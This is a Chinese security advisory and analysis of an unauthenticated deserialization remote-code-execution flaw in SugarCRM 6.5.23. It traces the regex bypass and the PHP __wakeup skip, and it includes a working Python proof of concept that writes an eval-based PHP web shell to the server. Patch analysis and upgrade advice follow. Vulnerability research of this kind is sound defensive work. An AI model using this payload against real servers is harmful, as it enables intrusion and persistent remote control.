Author: p0wd3r (知道創宇404安全實驗室)
0x00 漏洞概述
1.漏洞簡介
SugarCRM(http://www.sugarcrm.com/ )是一套開源的客戶關系管理系統。近期研究者發現在其<=6.5.23的版本中存在反序列化漏洞,程序對攻擊者惡意構造的序列化數據進行了反序列化的處理,從而使攻擊者可以在未授權狀態下執行任意代碼。
2.漏洞影響
未授權狀態下任意代碼執行
3.影響版本
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10
0x01 漏洞復現
1. 環境搭建
Dockerfile:
FROM php:5.6-apache
# Install php extensions
RUN echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" > /etc/apt/sources.list \
&& echo "deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib" >> /etc/apt/sources.list \
&& apt-get update \
&& apt-get install -y libpng12-dev libjpeg-dev wget \
&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
&& docker-php-ext-install -j$(nproc) mysqli gd zip
# Download and Extract SugarCRM
RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \
&& tar -zxvf src.tar.gz \
&& mv sugarcrm_dev-6.5.23/* /var/www/html \
&& rm src.tar.gz
docker build -t sugarcrm .
docker run -p 80:80 sugarcrm
另,需要啟動 MySQL 服務,例如:
docker run --name mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password -d mysql/mysql-server:latest
2.基礎準備
PHP之前爆出了一個漏洞(CVE-2016-7124 https://bugs.php.net/bug.php?id=72663 ),簡單來說就是當序列化字符串中表示對象屬性個數的值大于真實的屬性個數時會跳過__wakeup的執行。Demo如下:
<?php
class Student{
private $full_name = '';
private $score = 0;
private $grades = array();
public function __construct($full_name, $score, $grades)
{
$this->full_name = $full_name;
$this->grades = $grades;
$this->score = $score;
}
function __destruct()
{
var_dump($this);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
// $s = new Student('p0wd3r', 123, array('a' => 90, 'b' => 100));
// file_put_contents('1.data', serialize($s));
$a = unserialize(file_get_contents('1.data'));
?>
Demo中在__wakeup中清除了對象屬性,然后在__destruct中將對象信息dump出來。正常情況下,序列化得到的1.data是這樣的:
O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
我們執行該腳本,結果如下:
可以看到對象屬性已經被清除了。
下面我們將1.data改成下面這個樣子(將上面的3變成5或者其他大于3的數字):
O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}
再執行腳本看看:
可以看到對象被dump出來了并且屬性沒有被清除,證明__wakeup并沒有被執行。
這個漏洞很有趣,在下面的分析中我們會用到它。
3.漏洞分析
首先我們看service/core/REST/SugarRestSerialize.php中的serve函數:
function serve(){
$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
...
}else{
$method = $_REQUEST['method'];
$data = sugar_unserialize(from_html($data));
...
}
}
可以看到我們可控的$_REQUEST['rest_data']首先通過from_html將數據中HTML實體編碼的部分解碼,然后傳入了sugar_unserialize函數。
跟進sugar_unserialize函數,在include/utils.php第5033-5048行:
/**
* Performs unserialization. Accepts all types except Objects
*
* @param string $value Serialized value of any type except Object
* @return mixed False if Object, converted value for other cases
*/
function sugar_unserialize($value)
{
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
從注釋中可以看到該函數設計的初衷是為了不讓Object類型被反序列化,然而正則不夠嚴謹,我們可以在對象長度前加一個+號,即o:14 -> o:+14,即可繞過這層檢測,從而使得我們可控的數據傳入unserialize函數。
可控點找到了,接下來我們需要尋找有哪些對象可以利用,在include/SugarCache/SugarCacheFile.php中第90-108行:
public function __destruct()
{
parent::__destruct();
if ( $this->_cacheChanged )
sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}
/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
// clean all properties
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
throw new Exception("Not a serializable object");
}
我們看到了我們比較喜歡的magic方法,并且在__destruct中使用對象屬性作為參數調用了sugar_file_put_contents。
跟進sugar_file_put_contents,在include/utils/sugar_file_utils.php第131到149行:
function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
//check to see if the file exists, if not then use touch to create it.
if(!file_exists($filename)){
sugar_touch($filename);
}
if ( !is_writable($filename) ) {
$GLOBALS['log']->error("File $filename cannot be written to");
return false;
}
if(empty($flags)) {
return file_put_contents($filename, $data);
} elseif(empty($context)) {
return file_put_contents($filename, $data, $flags);
} else{
return file_put_contents($filename, $data, $flags, $context);
}
}
函數并沒有對文件內容或者擴展名等進行限制,雖然參數$data是serialize($this->_localStore),也就是序列化后的數據,但是我們可以設置$_this->_localStore為一個數組,把payload作為數組中的一個值,就可以完整保存payload。
這樣如果我們可以傳入一個SugarCacheFile對象并設置其屬性的值,我們就可以寫入文件。
然而不巧的是,__wakeup會在__destroy之前調用,并且我們可以看到在__wakeup中對所有對象屬性進行了清除。
那么該如何跨過這個限制呢?
想必大家都已經知道了,就是利用我們上面說的PHP的漏洞來跳過__wakeup的執行。
最后,整個漏洞的流程如下:
$_REQUEST['rest_data'] -> sugar_unserialize -> __destruct -> sugar_file_put_contents -> evil_file
PoC Demo如下:
import requests as req
url = 'http://127.0.0.1:8788/service/v4/rest.php'
data = {
'method': 'login',
'input_type': 'Serialize',
'rest_data': 'O:+14:"SugarCacheFile":23:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/1.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";a:1:{i:0;s:29:"<?php eval($_POST[\'HHH\']); ?>";}}',
}
req.post(url, data=data)
腳本執行后shell位于custom/1.php:
4.補丁分析
在v6.5.24中,對sugar_unserialize進行了如下改進:
function sugar_unserialize($value)
{
preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}
return unserialize($value);
}
更改了正則表達式,使對象類型無法進行反序列化。
0x02 修復方案
升級SugarCRM到v6.5.24 升級php5到5.6.25及以上 升級php7到7.0.10及以上
0x03 參考
https://www.seebug.org/vuldb/ssvid-92404 https://www.exploit-db.com/exploits/40344/ https://bugs.php.net/bug.php?id=72663 http://php.net/manual/zh/function.serialize.php
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/39/